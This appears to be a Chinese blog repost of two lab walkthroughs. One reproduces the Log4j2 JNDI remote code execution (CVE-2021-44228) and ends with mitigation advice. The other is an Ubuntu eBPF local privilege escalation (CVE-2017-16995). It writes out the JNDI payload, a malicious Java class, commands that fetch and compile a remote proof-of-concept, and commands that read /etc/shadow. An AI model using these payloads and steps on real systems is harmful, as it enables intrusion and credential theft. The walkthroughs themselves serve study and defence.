Log4j2漏洞复现(CVE-2021-44228)
Posted 灵光披风
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j2漏洞复现(CVE-2021-44228)相关的知识,希望对你有一定的参考价值。
引言
Apache Log4j是一个基于Java的日志记录组件,通过重写Log4j引入了丰富的功能特性,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞,攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。影响范围:Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid等。漏洞编号为CNVD-2021-95919,CVE-2021-44228。
实验环境
虚拟机运行,Win10,Java版本8u.191,Log4j 2版本为2.12.1;
靶机ip 地址:192.168.142.129;攻击机ip 地址:192.168.142.130。
漏洞原理
触发漏洞的关键代码:
org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“$”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。“$”可使用的关键词非常多,例如:$java:os、$hostName、$jndi:logging/context-name等。
org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到“$”后,Interpolator类以“:”号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。
Jndi注入:
目前网络上传播广泛的poc“$jndi:ldap://my-ip/exp”,除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。
漏洞大致利用流程:
第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。
第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。
复现过程
在靶机中新建一个Java工程,将apache log4j2.12.1的依赖包导入,在src文件夹下创建log4j2.xml文件,作为log4j的配置文件,用来控制输出格式。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
在src文件下创建hack.java,模拟使用Log4j2框架的网站服务器程序。在网页中一般会有提交表单的输入框,当输入报错时,很可能会将输入框的内容通过logger进行输出,从而将输入框中的注入攻击语句直接作为参数传递给logger.error函数。
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack
private static final Logger logger = LogManager.getLogger(Hack.class);
public static void main(String[] args)
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("$jndi:ldap://127.0.0.1:1389/Log4jRCE");
在攻击机上创建一个恶意类Log4jRCE.java,这里存放我们将要通过服务器执行命令的代码,比如调出计算器,编译得到Log4jRCE.class,
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Log4jRCE
static
System.out.println("I am Log4jRCE from remote!!!");
try
String [] cmd = "calc";
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
catch (IOException e)
e.printStackTrace();
启动python自带的http服务器,将Log4jRCE.class放在服务器根目录下,执行python语句“python -m http.server <post>”会创建一个简易的http服务器,服务器运行后,会以当前命令运行目录作为http服务器根目录。
下载反序列化工具marshalsec,在本地启动一个LDAP服务器,
在靶机运行IntelliJ里的Hack.java模拟注入攻击提交表单,服务器端使用log4j2输出日志,在靶机中成功调用计算器程序
同时攻击机服务器界面中也有恶意类被下载执行的回显:
至此,Log4j2漏洞的复现就完成了。
修复建议
目前,Apache官方已发布新版本完成漏洞修复,建议及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建议同时采用如下临时措施进行漏洞防范:
1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4.部署使用第三方防火墙产品进行安全防护。
总结
log4j组件在Java领域被广泛使用,且该漏洞非常容易利用,可以执行任意代码,属于重大威胁等级的漏洞,国内众多互联网公司也纷纷中招,log4j漏洞的影响范围之广,危害之大,堪称近几年之最。即使是这样的漏洞在历史也绝不罕见,未来也难保证不会再有,网络安全,任重而道远。
参考资料
https://mp.weixin.qq.com/s/V40zFaKhYK8wA5rg-DRaxA
https://zhuanlan.zhihu.com/p/443689489
https://mp.weixin.qq.com/s__biz=MzI5MDQ2NjExOQ==&mid=2247496255&idx=1&sn=acb66f2fd28859868892e028ac64d586&chksm=ec1dc217db6a4b018fd347ace7287631eaf31302f95fe9104b5413909a9d0092f256e484b53d&cur_album_id=1494421056474955779&scene=189#wechat_redirect
[漏洞复现] CVE-2017-16995 Ubuntu16.04漏洞复现
1、漏洞概述
Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。
攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码……
目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。
影响版本:
Linux内核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04
2、漏洞复现环境下载
Ubuntu16.04下载:http://old-releases.ubuntu.com/releases/16.04.0/
注:这里我下载的版本是 ubuntu-16.04.3-server-amd64.iso
POC代码下载:http://cyseclabs.com/pub/upstream44.c
注:为了节省大家实验时间,本实验所有环境全部打包到了以下链接=>
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密码:vowq
3、实验流程
① 下载Ubuntu 16.04 iso镜像:http://old-releases.ubuntu.com/releases/16.04.0/
下载列表里面有很多版本,考虑到虚拟机体积大小,这里不适用desktop版本,直接使用server版本。点击ubuntu-16.04.3-server-amd64.iso可以直接网页下载,若速度较慢,可用列表中的torrent文件,用迅雷等软件下载。
② 使用VMware制作虚拟机,设置普通用户账号密码(账号: pinginglab 密码:pinginglab)
注:这里的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程类似。
采用vmware快捷安装,设置账号密码:
点击“继续”,即可创建虚拟机。
启动虚拟机,这里需要稍等片刻:
③ 使用账号密码(pinginglab/pinginglab)登录虚拟机,进行漏洞复现
使用 id
查看本地用户组权限:
使用cat /proc/version
查看Linux内核版本 :
使用cat /etc/shadow
查看账号密码(由于是普通账号,没有权限查看)
使用wget http://cyseclabs.com/pub/upstream44.c
下载POC代码
使用sudo apt install gcc
下载并安装gcc编译器
使用gcc对upstream44.c进行编译,给予执行权限: gcc -o test upstream44.c
chmod +x test
ll
执行test文件,实现本地提权: ./test
id
cat /etc/shadow
从实验效果可以看到,此时用户从“pinginglab”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。
本漏洞复现实验完成。
以上是关于Log4j2漏洞复现(CVE-2021-44228)的主要内容,如果未能解决你的问题,请参考以下文章
漏洞复现Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现